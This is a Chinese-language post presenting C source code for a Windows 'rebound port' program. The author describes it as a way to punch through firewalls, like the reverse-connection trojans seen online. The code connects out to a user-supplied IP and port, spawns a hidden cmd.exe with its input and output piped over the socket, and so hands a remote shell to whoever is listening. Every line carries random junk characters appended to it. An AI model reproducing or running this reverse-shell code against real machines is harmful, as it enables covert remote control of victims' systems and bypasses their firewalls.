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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5VU 5kiCt  
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/* ============================== QD6in>+B@  
Rebound port in Windows NT (Mk9##R#  
By wind,2006/7 ky`xBO =  
===============================*/ (W~')A"hC'  
#include \D9J!K82  
#include oM&}akPE  
c?;YufH'j  
#pragma comment(lib,"wsock32.lib") !5hNG('f  
}J~ d6m  
void OutputShell(); R<J1bH1n3  
SOCKET sClient; _7h:NLd  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g8JO/s5xV  
7Z#r9Vr  
void main(int argc,char **argv) 3q!hY  
{ ID-Y*  
WSADATA stWsaData; J\kGD  
int nRet; RZtY3:FBx|  
SOCKADDR_IN stSaiClient,stSaiServer; B~[QmK  
]Cfjs33H  
if(argc != 3) O M]d}}=Y  
{ f(^? PGO  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4pin\ZS:C  
return; P;V$%r`yD  
} X#bK.WN$  
m+t<<5I[-  
WSAStartup(MAKEWORD(2,2),&stWsaData); s+@+<QE  
m0I)_R#X[  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |L@&plyB-  
00?_10x)  
stSaiClient.sin_family = AF_INET; 'S_OOzpC  
stSaiClient.sin_port = htons(0); oTtJ]`T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p f\ Ybbs  
x:7"/H|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y+,ii$Ce~  
{ }=dUASL  
printf("Bind Socket Failed!\n"); &%@b;)]J  
return; "~1{|lj|)  
} Y ,Iv<Hg  
\F$Vm'f_  
stSaiServer.sin_family = AF_INET; 4O TuX!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r~K5jL%z9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 78=a^gRB  
H{}Nr 4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9; \a|8O  
{ #%~PNki  
printf("Connect Error!"); (R.l{(A  
return; K@JGGgrE`!  
} kBh*@gf  
OutputShell(); kqebU!0-  
} lUL6L 4m  
m W/6FC  
void OutputShell() Hwz.5hV"  
{ eHQS\n  
char szBuff[1024]; t",=]k  
SECURITY_ATTRIBUTES stSecurityAttributes; qhdY<[6  
OSVERSIONINFO stOsversionInfo; d@$]/=%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :7WeR0*%  
STARTUPINFO stStartupInfo; b"DV8fdX  
char *szShell; |61W-9;  
PROCESS_INFORMATION stProcessInformation; 5f~49(v]  
unsigned long lBytesRead; }{R?i,j(  
I"=a:q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c#ahFpsnlw  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n A<#A  
stSecurityAttributes.lpSecurityDescriptor = 0; F}f/cG<X  
stSecurityAttributes.bInheritHandle = TRUE; c'wxCqnE   
K&Sz8# +  
Q7!";ol2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q =\3jd  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }nsxo5WP  
'%W`:K'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :t7M'BSm2z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pie,^-_.g  
stStartupInfo.wShowWindow = SW_HIDE; ^69ZX61vt  
stStartupInfo.hStdInput = hReadPipe; 8\N`2mPt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U_&v|2o#3  
!`A]YcQ  
GetVersionEx(&stOsversionInfo); r1jsw j%7  
6UK}?+r~  
switch(stOsversionInfo.dwPlatformId) ~7G@S&<PK(  
{ 33M10 1X{6  
case 1: %Kk MWl&:  
szShell = "command.com"; LX!MDZz  
break; "f Ni3 <x]  
default: S [$Os7  
szShell = "cmd.exe"; `y^tCJ2u*  
break; .|VWYN  
} Knjg`f  
3axbW f3[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *_ U=KpZF  
]c+HD*  
send(sClient,szMsg,77,0); z#( `H6n:  
while(1) J)o =0i>*  
{ 'yw7|i2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Bvai  
if(lBytesRead) ~jpdDV&u\  
{ $`wo8A|)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Iq[ d5)M4  
send(sClient,szBuff,lBytesRead,0); Rxf.@E  
} DNyU]+\L[l  
else Zv"qA  
{ ?BEO(;'  
lBytesRead=recv(sClient,szBuff,1024,0); xoYaL  
if(lBytesRead<=0) break; U WU PY  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >.76<fni  
} smJ#.I6/L  
} O$K?2-  
O-N@HZC  
return; tLD(%s_  
}
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